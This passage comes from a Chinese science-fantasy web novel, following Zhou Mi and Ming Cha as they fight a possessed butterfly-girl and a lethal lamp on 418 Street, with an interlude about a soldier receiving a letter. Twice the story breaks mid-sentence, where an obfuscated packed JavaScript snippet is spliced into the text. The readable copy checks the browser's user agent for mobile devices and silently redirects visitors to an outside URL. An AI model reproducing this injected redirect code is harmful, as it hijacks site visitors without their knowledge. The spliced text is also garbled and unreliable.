周觅摇摇头,她摸摸自己手里的小狗玩偶,阴森却语气淡淡地开口,“你知道吗?我一直怀疑我那幢楼里住的没几个活人,那些老太太总是那几句话翻来倒去的说,就跟设定好的程序一样,至于张大婶,我朋友的父亲找人调查了,她好久之前就不住在这里了,这次要不是他儿子死了,她不会过来的。” “每天早上晚上,她晒被子收被子,可是她根本不住在418街道呀,你说是怎么回事?” 她漆黑的大眼睛死死盯着明刹,明刹喉头一哽,什么都说不出来,他想起自己回头看那幢房子的最后一眼,安安静静的,像为某个人立的坟。 这里曾经不是一片雪白的苍凉之地,地底下拥有丰富资源的北区曾经是最富饶的地方,可地下城的开放,非人物种与外来物种的大量死亡,这里似乎被下了某种诅咒,一瞬间除了中区外,东西南北四区全被各类粒子污染,北区开始陷入死一般的沉寂中。 这里的418街道,比起边防线后面的同名街道要生动很多,许多挨挨挤挤的松树堆在一起,立在街道房屋后,风来了,立马滚在一起,变成大团大团的黑影,似乎朝着班车撞过来。 哭声似乎也在这个时候随着那团黑影“砰”的一声撞在车窗上,很闷热的一个夜晚,这是生活在北区从未有过的感觉。 好像下雨了,冰冰凉凉又带点潮湿的气息,游走在两人的肌肤上。风声也大了,哀嚎的哭泣声越来越响,明刹被这事搅得心烦意乱,他忍不住抖了抖腿,还不等他抱怨出声,一旁的车窗忽然被周觅打开。 狂风呼呼地灌进来,驱散了点明刹的焦灼感,他本想说谢谢,就见周觅站起身,他疑惑不解地看着她,“你要干什么,啊——” 他扒着车窗往下看,眼球都要从眼眶里掉出来,周觅竟是在他眼前从车窗跳了下去,这么快的班车速度,她直接跳下去了? 跳下去了? 明刹眨眨眼睛,他给自己来了个深呼吸,下一秒,长腿一蹬一踩,也直直跟着周觅往下跳。 跳机时要用到降落伞这都是必修科目,十年军校生涯,六岁就开始独立住宿的明刹乘风往下飘的时候,他看着已经稳稳落地,收起降落伞的周觅,他忍不住叹了口气,就这种行动力,他真是自愧不如啊。 昏暗的街道,哭声还在持续,周觅循着声音,找到了蹲在墙角的女孩子,她将脸埋在手臂中,以一种保护自我,完全封闭的形象出现在两人面前。 明刹站在周觅身侧,不知如何是好,他眼前的周觅蹲下身子,那小姑娘也就把脸顺势抬了起来,一滴眼泪也没有,小脸白白净净,一双金色的眸子暴露在两人眼前,明刹立马上前,将周觅往后拉了拉,“她是蝴蝶一族,你不能靠近她。” “没关系的,放开我。”周觅被他大力拽住手臂,略有些疼,她神色不善的甩开明刹僵硬用力的手。 她一把掀开自己的头盔,长发从里面倾泻而出,月光雾蒙蒙地透过蓝粒,似乎倾泻了一盆银色的水,她的长发几乎全泡在这盆水里,闪着丝绸质感的光。 黑色瞳孔的大眼睛少了很多看明刹时的鬼气森森,多了温和,她抚上炽音的脸,“是我啊,炽音,是我。” 萦绕在两人耳边的哭泣声小了,炽音金色的水眸看过来,她的笑容还是一帧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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埋在她怀里的炽音动作不变,垂下的眼帘却掀起,金色的瞳孔内尽是挑衅,她就这么依靠着周觅,双手绕在一起,紧紧抱着周觅的脖子,脸贴在上面,这幅样子,搅得原本就对非人物种有巨大排斥感的明刹,更加怒不可遏。 他指着炽音,怒道,“她不是那个炽音,你如果被这种东西迷惑,我很怀疑你的水平。” 周觅,精神力不过S级,却能让联邦注意到她,明刹想,她绝对不应该这样,必须手起刀落血光乱洒,神色冷的掉渣,而不是跟另一个看上去就鬼里鬼气的女孩抱在一起,深受震撼的明刹,恨铁不成钢的盯着周觅。 “我没有被她蛊惑,我知道我是谁,她是死了,但我还活着,我不能不记得她。”周觅手绕到脖颈后面,将炽音保住她的手硬生生扯开,炽音那张又恢复到木木的脸,已经在崩坏的边缘。 “很小的时候,我们就认识了。”周觅对她说。 四五岁的时候,两人就认识了,那个时候,没有这么冷,也没有这么萧瑟。 夏日的雨季很燥热,妈妈让她下去买东西,她从五楼下去,拿了自己的小太阳雨伞,妈妈给她套上了小狗雨靴,看着她往楼下走,楼底下的嘈杂声就是在她下去的时候,疯狂顺着雨水这一介质传到周觅耳朵里。 “心心,你不要跟他们那群小孩玩,他们老在下面欺负别的小朋友。”妈妈在门后嘱咐她,但长大后,妈妈就没怎么叫过她的小名了。 周觅应了声,乖宝宝似的和妈妈说自己下去买东西,很快就回来,却在到了楼下后,把自己买好的瓶瓶罐罐往那群大孩子身上砸。玻璃瓶又大又重,砸到地上全碎了,颜色各异的液体胡涂抹在地上,雨水疯狂冲刷中,周觅大喊道,“你们不要欺负她!” 那天与现在一样,炽音蹲在地上,抱臂埋头瑟瑟发抖,可怜的像一只受惊的猫,天色很暗,醋的酸味直往两人身边钻,房屋边长得挨挨挤挤的松树,一蓬蓬一滚滚往两人身边撞,带着雨水的冷意,两人不一会全都成了落汤鸡。 “你的眼睛是金色的,好好看,我的名字是心心,你叫什么。”小小的周觅撑着自己不大的伞,给她挡雨,雨水顺着雨伞的弧度争先恐后地落,滴落在周觅的手腕,是蚂蚁爬过的酥麻感。 “我没有名字。” 可怜的,瑟瑟发抖的小女孩害怕地抬了一抬瘦削的下巴尖,很快又埋回自己的臂弯,金色的瞳孔小心翼翼地颤着瞟周觅。 或许是她那么可爱,那么合了周觅的心意,又或许是命中注定,周觅把她带回家吃饭,给她一张小床睡觉,给她起了“炽音”这个好听的名字,后来联邦调查局来人,不允许非人物种跟人类生活在一起,将她带到非人物种聚集地,只有固定时间可以出来。 不过炽音总是会到418街道来,来找周觅,遇上周觅上学的日子,她会一直站在学校班车离开的地方,木着一张脸,盯着班车已经消失的地方,很久很久。周觅不上学的日子,两人会出门逛逛,炽音晚上就睡在周觅的旁边,蝴蝶触角会搭在周觅的脸上,仿佛周觅也多了两根触角,变成一只随时会从人类世界飞走的蝴蝶。 “炽音,你是蝴蝶一族,精神力波动原本就异乎寻常,蓝粒控制住了你的魂魄,妄图将你变成彻头彻尾的魔鬼,我得烧掉你的魂魄,我答应你,你会回到你想去的地方。” 周觅牵起她冷冰冰的手,她的手不是□□的寒冷,是一种灵魂内传来的战栗,是透入骨髓的凉意,但周觅紧紧牵起她的手,贴在自己的脸上。 炽音苍白的皮肤贴在周觅的脸颊上,漆黑安静似乎扩大了无数倍的瞳孔,像是漱清的池水内燃烧一股金色的火光,而金色火光的主人却忽然开始疯狂抖动上半身,血肉被无数细小的纹路扯散,又被撕裂绞烂,炽音金黄的眸子内亮起红光,杀机显露。 “退后!”明刹叫道。 8.蝴蝶之死(八) 没人见过蝴蝶真正飞起来是什么样子,联邦的严格管控下,他们必须学会与人类一样的行走,一样的思维方式。 炽音翅膀出现在两人面前的那一刻,一切似乎都变慢了,空气中肆意飘浮的蓝粒,丝丝缕缕的杂质们,全都变成了微乎其微的东西,周觅敢说,自己从未见过比这双翅膀更完美的东西。 红色的半透明的翅膀,带着烈火灼烧气息扑面而来,一颗颗硕大的火球顺着她翅膀落下,在她周围迅速环成一个保护圈,保护她,也囚禁她。 无数蓝粒穿过这对半透明质感的翅膀,陡然化成火红的尖刀,以利箭般的速度朝两人疯狂射来。 “我靠,它要杀了我们!”明刹快速带着周觅就要跑,他准备往楼上跑找个掩体,他和周觅的武器只有消音粒子枪,对付炽音完全不够。 两人的动作怎么可能逃得了高高浮在空中的炽音,她金色的瞳孔紧盯住被明刹拉着的周觅,高声尖叫,吐出一堆听上去古老又神秘的语言,听的人莫名心悸。 明刹这个好奇宝宝甚至没有时间问周觅,它都说的是什么,他专注避开朝自己射来的尖刀,脑门子上全是黄豆大小的汗,紧张的他只想学着周觅脱了头盔,但不行,他万一死了,也不能暴露自己的身体,否则会被蓝粒迅速吞噬,变成和现在炽音一样不人不鬼的东西。 他脚后跟稳稳踩在地上,往左边避让,对着他后脑勺猛地撞来的尖刀,死死劈开路面,深深地插在里面,尖刀尾部还带着火光,扎入皮肉的下一秒,烈焰会迅速吞并身体进行灼烧,肯定连一把灰都不剩下。 眼见着就要到遮挡的高楼里面,两人面前忽然出现一个巨大的镜身,镜面浮现出水的涟漪,似乎下一秒就要有鱼群与荷花的美景涌现,明刹不由瞪大眼睛,注意到从里面出现的东西,他咬牙切齿,深感恶心道,“这是什么鬼东西。” 从越来越大的涟漪中,骤然伸出的一双手掀开水波纹,露出了一张同明刹一模一样的脸,没有戴头盔的“明刹”嘴角勾起,小虎牙尖的不正常,灰色的眼眸中全是对鲜血的渴望,那简直跟饿极的恶鬼毫无区别,明刹不怀疑,他肯定是想活吞了自己。 身边的周觅从腰侧抽出消音的粒子枪,朝他脑门射击,粒子枪的尾部拖着长长的硝烟持久不散,明刹担心的看了眼周觅,这枪的后座力足够使肩膀脱臼,可开了三枪的周觅站在原地,手甚至晃都没晃一下,明刹终于一口气缓过来,脑门上的汗一颗没少。 但那个“明刹”没死,只是动作缓慢了下来,一步步朝两人这走来,周觅上下扫视他一眼,对明刹道,“交给你了。” 明刹眨了眨眼睛,指着自己,止不住地怀疑道,“我?交给我?” 不等他再说什么,周觅已经利落转身,她从腿侧抽出被绑好的两把利刃,一把扔给背后瞠目结舌,不敢胜任这份工作的明刹,另一把她握在手里,一步步朝火光尖刀的射击者那里走去。 尖刀的速度越来越快,简直与嘈嘈的急雨毫无区别,换来的后果是周觅手里的动作也越来越快,明刹盯着她拿刀砍掉一个又一个朝他们迎来的利器,这一个个要命的东西,偶有几个从她的手背蹭过去,划伤了她的手背,掉落的鲜血滴入一地的火光中,火光像是浇了汽油般,烧的烈极了。 受伤了,周觅毫无察觉,她必须用郑□□给的火烧掉已经被蓝粒左右的炽音灵魂,的确犹豫,的确无法动手,但再不动手,死在这里的就是她和明刹。 远处的郑同玉在耳麦内拼命压制的激动声中,不断调转地方,为了让他们看的更清楚。 被打落的尖刀插在地上,由燃气的火光构成一个巨大的——“炽音”字样,郑同玉不相信这是巧合。 她将自己的眼神投入无暇分身的明刹,明刹和另一个复制出来,显得格外迟钝的“明刹”纠缠在一起,明显占了上风,这个看上去吊儿郎当的少年,确实有点真本事。 郑同玉脚尖点了点楼顶的地面,她忽然喉头一哽,略有些别人盯住的头皮发麻感。 她朝楼底下的周觅看去,果然周觅鬼阴阴的眸子紧紧盯着她,漆黑的双眸,在黑夜的火光下,却像被水浇透的寂灭,对什么都了如指掌地淡漠感。郑同玉深深吸了口气,再也无法同这个不过十六岁的少女对视,她往后猛退三步,耳麦内传来质疑的女声,“郑少校,请不要退后。” 不到两秒,周觅的正脸再次被投放在大屏幕上,已经抵达了火光尖刀主人的身前,她把刀放在手心一按,鲜血顺着长刀凌厉的弧度往下滴,蓝粒被鲜血吸引,全都聚集在她身边,贪婪地趴在地上,吸食她的鲜血。 幽蓝的火光借着鲜血的引子,被点燃,萦绕在银白色刀刃上幽蓝地烧,火光后,她一双黑漆漆的眸子呈现在刀面上。 炽音却似乎看不见这要烧了她的长刀,她闻到了鲜血的气味,跪在地上细嗅,找寻气味的来源,直到一把幽蓝的长刀抵在她的额前,她趴在地上抬起自己瘦削的下巴,可怜巴巴地盯着周觅看。 以一种献祭的姿态,慢慢挺起她的上半身,将胸口完全交给周觅,周觅却不动。 几双眼睛同时的注视下,周觅缓慢蹲下来,手指尖颤抖浮在炽音的脸上,慢慢摸过炽音脸上的每一处,直到她的唇,炽音捧起周觅的手,伸出湿湿软软的舌尖,舔舐周觅的伤口,金黄色的瞳孔内满是心疼与虔诚,鲜血让她清醒过来,面前的周觅对自己来说有多重要,她不能在对周觅展现出自己的尖刺。 周觅手背上的鲜血还在流,滴在炽音的鼻尖,落到她的唇心,被她温柔的唇齿包裹。 “我会杀了他。”唇齿相撞却未发出任何声音,这是属于她们之间的秘密。 炽音的触角动了动,放在周觅的额角,做最后的告别,在周觅没反应过来时,她陡然起身朝刀口撞去,含笑倒在了周觅怀里。 “怎么可能?”屏幕前躲在暗处的男人,红酒全都在他的震惊下被他洒落在衣角,不可置信的起身,“从未出现过这种东西甘心赴死的情况。” 与他一样的想法,可所有人都在观察局势,没人说话,一切静悄悄的。 418街道内的雨忽然下起来,蹲在墙角的那只小蝴蝶,死在了十年后的一场暴雨中。 她的灵魂体顺着腰间被灼烧的洞开始溃烂,雨势渐渐大了起来,没人离开原地,炽音的触角还在不断颤抖,无比痛苦。灵魂被烧焦的气味,人类闻不到,可她知道是一种枯败的花香,太像秋季瓜果腐烂的气味,也像周觅生活的那幢小楼里,栏杆生锈的气味。 究竟是回忆掩盖了她对死亡的害怕,两个女孩躺在小床上的嬉笑声,是炽音身体被钉在树干上的最后能听到的。她不恨任何人,也不知道自己这一辈子活着要做什么,在死之前,她都认为一辈子都会跟周觅生活在一起。 蓝粒控制下的炽音,不过是一具精神体,可现在是真的什么都不剩了,周觅的泪跟着雨一起往下落,炽音的灵魂也跟着雨水,被冲刷的干干净净,记忆中那些摔碎的瓶瓶罐罐,似乎还待在那幢小楼的墙角处,鼻尖的醋酸味一阵阵的涌到周觅心里。 “她留给你的。”明刹把掉落在地上的镜子收起来,用自己的袖子擦干净了递给她,雨却太大了,浇湿了他们身上的每一处,还有再度被雨水浸湿的镜子。 周觅的脸被雨水浇的苍白极了,她道了句谢,拿着镜子一口气好不容易提上来,声音却飘的很,“这是我送给她的第一个礼物,她那个时候总是把自己搞得像小花猫,我就送了她这个镜子。” 这个镜子很早就碎了,因为炽音那个时候太小,有其他蝴蝶看上了这个镜子,几人争抢摔碎了,炽音太生气了,拿着碎的镜片,划伤了好多人,周觅记得自己跟妈妈要了好大一笔钱,为了出医药费。 是武器,也是回忆。 周觅把镜子收到储物戒指中,拿好头盔,郑同玉也从楼顶下来了,她一直对周觅这个女孩报以一定的敬而远之,一时间安慰了她几句,周觅也不知道听没听见,只是收拾好自己的东西,将两把刀都擦干净,简直像是剁了人之后,收拾现场的杀人犯,但对她已经完全心服口服的明刹紧紧贴着她站好。 “你要不要去检测一下,万一被蓝粒感染了,二十四小时内是可以吃阻断药的。”郑同玉收了两人的粒子枪,边问周觅边放在手上颠了颠。 这两把粒子枪是她从联邦的军队申请过来的,一般军校没有资格用这种枪,应该说是大学之前完全禁止,这种枪枪型按照从前的狙击枪设计,后坐力太强了,杀伤力也很强。害怕中学生没有办法掌控好力量,坚决禁止给中学生使用,可是联邦那位不知道抽了什么风,命令郑同玉去申请这种枪,这不就出现了周觅这种天赋惊奇的天才。 见周觅点头说可以,她这才转头问周觅,“这种枪,你以前用过?” “没有。”周觅推开挡在自己面前的树杈枝丫,摇摇头,“我用了精神力压住它,不是很难。” 郑同玉不会吐露太多,但一旁的主星小灵通明刹可管不了那么多,他早就被周觅连开三枪的气定神闲惊到了,“你以后就是我姐,太牛了,我就开了一枪,现在手到肩膀全麻了,幸好没脱臼,不然太丢人了。” 要不是周觅给了他一把刀,估计现在也是凶多吉少,想着周觅还是挺关心他的,他脸上的笑容更灿烂了。 有迟钝的“明刹”做对比,这个明刹还是很顺眼的,周觅嘴角一勾没多说话,在明刹面前却算是天大的好脸色,他心情轻松的跟着周觅和郑同玉往边防线走。 屏幕暂时没人看了,几人面对面坐着,任凭屏幕的强光打过来,一直没说话的男人问其余两人,“怎么样?” “值得培养,但她不一定会来主星。” “郑□□不是一个值得信任的人。” 一女一男同时出声,他却轻笑一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246562|166206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,不紧不慢地起身,居高临下道,“没关系,我要的东西和人,我不可能得不到。” B-3214星球 都晏看着自己光脑上显示的时间,刚好中午十二点,从昨晚开始这个星球上的所有的非人物种似乎被某种东西牵扯住了神经,毫无组织地疯狂进攻。好在蒋恒收到了信,即使稍有耽搁,陆军作战营第七小队还是赶在最后一刻抵达,压下了B-3214星球的非人物种自爆事件。 都晏跟随的是陆军第八小队,按照能力从第一小队依次往后排序,都晏指挥的第八小队完成大部分任务,第七小队只需要最后收尾工作,这场战争的难打程度不下于一场SS级的粒子磁场干扰。 刚经历过一场战争,都晏身上的军装皱皱巴巴贴在身上,汗水将上身的布料全都沾湿,湿哒哒贴在他的后背,意外勾勒出背肌的饱满弧度。 这里的太阳很毒,他皮肤被晒黑了很多,脖子上戴着冰扇,脖颈那里不断冒出冷气,他又总是带着礼貌的笑意看人,与传统的陆军一点都不同,简直就是绵绵冰里不太甜的巧克力,清爽又解腻。 一层油亮亮的汗水晶莹顺着额角往下落,这星球实在是太闷热干燥,他高挺的鼻梁上也有颗颗轻盈的汗珠,袖子一擦,很快又起,只能不断补充水分,省的一不留神被烤成人干。 “都上校,您的信,还有您的东西,我们后勤兵其他同志给您搬到帐篷那去了。”已经攻占下的星球,信件接受程度远远比从前高,他和送信的小士兵互相行了个礼,接过信封仔细瞧了瞧。 他喊住送信的小士兵,“怎么有两封,送错了吗?东西是蒋将军寄的吗?” 蒋恒是都晏在上学时还算可以的朋友,虽然一直保持着联络,但也就那样,同为指挥系,但班级不同,都有关系更好的朋友。他为什么要送东西给自己?疑似将军的格外关照,这让都晏拿着信的手有些抖。 小士兵摇头说自己也不知道,都晏索性收了信,不多纠缠,自己回去看看就知道了,也好让小士兵去送其他人的信,秦远刚巧从军用帐篷里出来。 医疗兵刚给他做完全身检查,某个不长眼的士兵开枪好死不死打中的石子,弹到了秦远自以为豪的脸,肿成猪头的秦远待在帐篷里嚎了好久,不然都晏是不会顶着大太阳出来的。 秦远被打了几针,走路还是晕乎乎的。医疗兵干脆用纱布裹了外敷的药给他整张脸围起来,省去了无数的麻烦。 “哥,晏哥,快来,这是寄给你的东西,好香好香,肯定是好吃的,求您大发善心,赶紧开了给我吃一点吧,我都要饿成人干了。”秦远虽然脸被裹起来了,可是露出的眼睛鼻子嘴,每个洞都盯着都晏,盯着香喷喷的大箱子看。 都晏这才确定,肯定不是蒋恒寄给自己的东西,蒋将军很有边界感,也很淡漠,并不是个极度热心肠的人,他拿起手里两封从外观毫无区别的信封仔细端详一番,他对秦远道,“我看完两封信再说。” 秦远还以为看完信就能吃了,眼巴巴瞅着都晏坐下来去看信,自己一个人只能顶着大猪头一样的脸,蹲在一边充满怨念地瞧着都晏。 都晏先看从主星寄来的信件,蒋恒信件里先寒暄了几句,随后是对与联邦做事缓慢,审批程序的几句指责,在最后几行请都晏回到主星特拉克后与他见一面。 没什么特别的地方,但字里行间都是这位将军的风格,都晏把心落稳肚子里,郑重叠好收起来,在秦远无比期待的眼神中,拿起一封来自米拉尔星球北部茉莉区418街道的信件。 “您好,我是周觅,你的来信寄错地方,抵达了我的手里,不揭开信件我无法看到你的地址,我表示抱歉。 这里的房子已经被我父母买下来了,我猜想你不知道原屋主的地址,我会帮你寄给他。 你的信件我大致浏览了一下,你现在处于B-3214星球,我在学校的课本上学习过,这里是一个被米拉尔星球粒子感染最严重的地方,这里是关押重犯的地方,也有很多非人物种与外来物种,变成犯罪天堂,你们去收复B-3214星球,实在是危险。 我现在也在上军校,深知其艰险。你向联邦提出支援军的请求,我想你们的后备资源是否充足,我买了一些食物和药频还有各种营养补充剂,希望你们能够平安无事。 期待你的回信。” 读完最后一句,都晏忽然很庆幸自己活着的时候,有幸看到这一封如此有温度的来信,他长久的捏着这张薄薄的纸,无法放下。 小部分笔水透到纸后,像是在纸上开出了一朵朵隽秀的花,细嗅还有一种淡淡的墨水香气,他并不会想象来信人是何模样,他认为这样去猜忌对方是一种冒犯,他只在意面前这张信纸。嘴角忍不住勾了勾,绵绵冰里的巧克力在热度下渐渐融化。 秦远蹲在一旁蹲的腿都快麻了,他难受的想,这封信很长吗?要看这么久? 9.消失的街道(一) 凌晨三点,空旷的418街道,从24小时营业的无人超市出来,周觅把使用过显示正常的一次性蓝粒测验试纸,扔到回收的垃圾箱里面,她拿了瓶从超市买的水,服下蓝粒阻断药。 “真被感染了?离我远点。”明刹抱了一堆零食出来,他伸了懒腰后看周觅吞了几颗药,他立马一个激灵,往旁边“唰唰”的就是几步走,周觅要是被蓝粒感染了,这后果明刹简直不敢想象,他斜着眼睛瞟了周觅几下,“我说,你要是真被感染了,估计要请军方的人上场了。” “军方,我哪来的这么大脸。”周觅轻飘飘接了句话,她扭紧水杯的口,转身就要走,明刹眼看着她抬脚,立马跟上她,他可不能一个人待在这种人生地不熟的地方,虽说现在已经凌晨三点过后,蓝粒的影响已经慢慢变低,但也不是绝对安全,他得跟着周觅保护她,没错,得保护她。 蓝粒构成的雾气已经渐渐的淡了下去,今晚的夜色比平常要好,月亮云层后探出身子,影影绰绰微微流露点莹白的光,将两人的身影拉的又细又长。 不同于怕死的明刹还戴着头盔,周觅已经把一身衣服全在超市的洗手间内脱了,换上自己平常穿的衣裳,她并不怕凌晨三点后的蓝粒影响。 “你真是勇士啊,我估计你明天早上起来就得头疼感冒,接着就产生幻觉,最后变成随机杀人的感染者。” 明刹不断用自己的乌鸦嘴讲一些危言耸听的话,叽叽咕咕一路上,听得周觅心烦极了,她忽然猛地回头,明刹一阵,还以为周觅真变成随机杀人的感染者了,不由得也瞪大自己的一对丹凤眼,仔细瞧着周觅,就听周觅冷声道,“好吵。” “我不说了不说了,你跟我说说418街道的事情呗,什么张大婶根本不住在你们那幢楼,说的毛骨悚然的,我当时汗毛立了一身。”明刹只是觉得这个街道静的过分可怕,他在主星也跟随老师执行过一些任务,但主星人满为患,哪都是人,绝对没这里这么的寂静悄然,他感觉自己和周觅是个安静街道上的唯一活人。 殊不知又为自己选择了一个大坑的明刹见周觅似乎在思考怎么开口,于是他不出声了,乖乖等着周觅说给自己听。 “明刹,我是相信你,才告诉你的。”周觅却不先说418街道的事情,只是转脸,露出在月光下冷白的一张脸,她抬起眼帘,露出自己一双漆黑瞳孔的双眸,嘴角似笑不笑,“明刹,我可以相信你吗?” 明刹心里顿时一颤,他不觉得自己是被联邦的人派过来有什么问题,在他的心里,周觅早就是联邦的人,他们将自己派过来,肯定是想看到两人一起默契的成长,未来成为联邦三大元帅的有力竞争者之一。 这么想来,他当然是周觅值得信任的人。 明刹一抬眸,镜片内只能看到他高挺的鼻梁,还有一双同周觅类似颜色瞳孔的双眸,他肯定道,“当然,你不相信我还能相信谁?” 周觅转过身子,前方不远处就是418街道了,比起旁边的街道,418充满了诡异的色彩,她眼神定住在挡在418街道前,巨大的北部大厦上面,“那天,警察过来挨家挨户盘问的时候,名单上并没有张大婶的常住名,更没有我隔壁的老爷爷老奶奶们的名字,但他们还是去敲门,我当时就觉得很奇怪。” “不过,那个时候郑老师过来找我,我错过了最好的时机去观察他们,不过我肯定,这些老太太和我十几年前的记忆力就是一样的,一直没变老,也一直都是那几句话,‘吃了没?’‘喝了没?’‘考多少分?’每天都是这些,跟伪人似的。” “你有在听吗?”周觅一回头看明刹,只见他神色似乎有些恍惚,拍了怕他的肩膀,明刹这才回神,瞳孔抖了抖,发了惊天大秘密一般的震颤,“那几个老太太天天问我是从哪里来的,我还以为她们是记性不好。” 明刹回想几个老太太看自己的眼神,慈祥是有的,不过现在看来恐怕不是那么简单,她们打量外来者的眼神都被架在鼻梁上的老花镜遮掩住,所谓的记忆不好,只是一遍遍打探外来者是否有二心,只要明刹有一点点对周觅下手的想法,她们恐怕会瞬间呼号着上来,撕了这个牛气哄哄的少爷。 “你的意思是说,她们在审视你这个外来者?为什么?”周觅听了明刹说那些老太太的眼神,她忍不住嘴角勾起,露出个荒谬的笑容,她扯扯嘴角,无语地看了眼急需要自己信任他的明刹,周觅微微往后仰去,不想靠这个似乎神经病发了的明刹这么近。 明刹急了,他左右来回踱步,一把拉住周觅的手腕,认真与她分析,“你想想,你在这幢楼里面这么多年都没事,她们肯定是信任你,但是我是才来的,她们一定得对我不放心。” “可是也有其他人来来往往的。”周觅顿了下,“除了张方出事,还有那条猎犬,都不是外来者,警察们还在找凶手,总之,这些奶奶们不会是你说的这种可能。” 张方,对,张方,明刹垂眸,可圆滚滚的眼珠却在眸中不断左右轻晃着,他乍一抬头,眸底漆黑一片,“如果,他想对你出手才死的呢?” 周觅被他这惹人头大的推测,忍不住“嗯?”的一声苦恼皱眉,“他对我出手?我和他有什么过节,他要对我出手?” “他跟你没有过节,那就是被蓝粒干扰,总之,我了解了一下你们这幢楼的楼层,一楼死了一只狗,张方是二楼,下一个会不会是三楼,再就是四楼。你仔细想想。”明刹越说越觉得自己牛坏了,但是又不肯定,毕竟也没什么事实根据。 周觅摇摇头,她晃了下手里的水,瓶中的水立刻波澜起伏,滚滚流动喧嚣着的水珠,疯狂在来回晃动的透明液体内涌动,将夜色里的蓝粒雾气几乎全要吞没在不安的涟漪内。 挂在杯壁上的水珠慢慢往下滑落,它们一颗颗先后尽数投入晃动着的水面,接续刺激要平静下来却不能完全恢复寂静的水平面。 周觅移开挡在眼前的水,眼神猛地射向随着两人的脚步已经暴露在面前的418街道,乍一看与三个小时前真正的无人街道毫无区别。 可明刹忽然死死拉着她往后退一步,靴子与街道碰撞划出刺耳的摩擦声,似乎惊动了死寂的街道内蛰伏在黑暗处偷看两人的东西。 他脸色不好,紧张道,“有血腥味!” 血腥味不小,向两人扑面而来,在蓝粒的鱼腥味充斥下,显得湿湿嗒嗒,黏腻的像是被鼻血倒流堵在喉咙内的窒息感,甜的酸涩的,人类能感受到的是鲜血的味道,而不是鲜血的语言。 “是那盏灯。”周觅肯定出口,利落抬手弯腰从自己的腿侧抽刀,擦到能反光的刀身照亮她一双漆黑的双眸,耳垂三个本该属于耳钉的孔,黑洞一般卷走明刹诧异的眼神,他听见自己干巴巴的声音,在问她,“为什么?” 灯的确诡异,但一个灯能做什么? 能干什么? 明刹觉得异常冷,冷到他战战兢兢的忍不住朝周觅靠近,但她抬眸,是比他对这晚的感受还要冷的一双眼,宛如月光的寒。 他正要往后退,这样一双冰冷的双眸,根本不像人类能有的,像是在远古热带雨林内那些双眸忽闪忽闪,饿极了已经闪动着绿光的兽眸,没有丝毫恶念,全是对鲜血的渴望。 “你……” “砰——”周觅的长刀出手,刀背与明刹的头盔擦身而过,它所反射出的光映照出一道刺目的射线,朝明刹飞速砍来,就是带着要他必死无疑的答案。 明刹的心在胸膛内乱跳,与死亡擦身而过的瞬间让他根本没有办法恢复平静,与那瓶已经被周觅甩在地上的水一样,他心底的涟漪也在疯狂向外一圈圈蔓延。 “枪给我。”周觅伸手向他要枪,郑□□给两人的粒子枪已经被拿走了,明刹这么大个少爷怎么可能没有枪支,要是真没有,派他来的人也就太抠门了。 “我……” “你不要说你没有。”见他神色不安,周觅来不及多说什么,这射线谁知道下一次什么时候来。 明刹着急忙慌解释,“我不是那个意思。” 他这么个大少爷,接触到这些事情都是老师带着,但他确实有些能力,不然不可能稳稳当当站在到处都透露着诡异的418街道内。 “我是想谢谢你来着,这把枪送你了,可以用精神力控制,也可以用能量币进行储蓄能量。”他说着,便从储物戒中拿出一把外观炫酷的粒子枪交到周觅手上,这东西实在是太符合明刹给人的第一印象,看似聪明城府高,实则心思单纯,拨一下动一下。 这种粒子枪的后座力都很强,不过持枪人是周觅,明刹并不担心,他躲在周觅身后,直勾勾盯着她的动作,周觅端枪射击,手腕稳得像是悬了几个巨重的秤砣,稳得很。 粒子炮快速从枪口飞出,朝着挂在二楼阳台外栏杆上的那盏灯狠狠射去,势必要将它击个粉碎。 散发热气的枪口只安静了半晌,在袅袅烟气中,又是几枚粒子炮从流线型完美的枪管中聚集流动的冷空气,朝那盏宛如有保护结界的灯冲去。 带着必要它粉身碎骨的杀气,疯狂咆哮的射线从灯内穿梭而出,动作不快,像蛇类在地上缓慢漂移的动作,“枪对它没用。” “那怎么办?”明刹盯着一脸平淡说出这话的周觅,他脸上多了很多密密麻麻的汗水,周觅撇了他一眼道,“把你的头盔摘了。” “摘......摘...摘头盔?” 明刹以为自己听岔了,他黑漆漆亮闪闪的眸子瞪大了,周觅没时间多等他。 “摘掉头盔。”她肯定道,“头盔上有一种物质,它在控制这些东西对你进攻。” 这些军方头盔和黑市上卖的都不同,周觅旁听过研究学科的课,被蓝粒影响的兔子只会对军方头盔疯狂蹬腿,这里面一定有东西让这些生活在蓝粒内的物质叫嚣着要去撕碎。 一听这话,顿觉自己小命要紧的明刹立马卸了自己的头盔,飘逸潇洒的额发已经被汗水浸湿,他像是从泳池内刚出来,亮晶晶的黑眸带着不安的情绪紧盯周觅,一颗汗珠顺着他高挺的鼻梁落到他的下唇,他伸出殷红的舌尖一舔而已。 瘦削的下巴尖也沾了好多汗珠,湿哒哒的粘在他脸上微小到几乎看不见的毛孔上,他费劲的扯了扯紧贴自己脖颈的防护服边角,见周觅看了他几眼,他一顿,犹豫地放开了自己扯着的防护服,“热死了,这个不要脱吧?” “随便你。”周觅收回自己的眼神,她紧绷的神经回到已经要冲到两人眼前的射线,她淡粉色的唇几乎抿成一条直线,她也在恐惧。 但如她猜想的那样,射线绕开她,每条都在她的胸腔前立马刹住脚,仿佛在轻嗅她身上的气息,确认究竟是不是同类,不过几秒,它们确认好了,快速以她的胸腔为原点,朝明刹刺去。 “我靠,它们想杀了我,你快让它们停下来。”明刹四下躲避着,他六神无主的将自己储物戒内的宝物一个劲往外掏,想都也不想就往这奇形怪状的射线身上抛去。 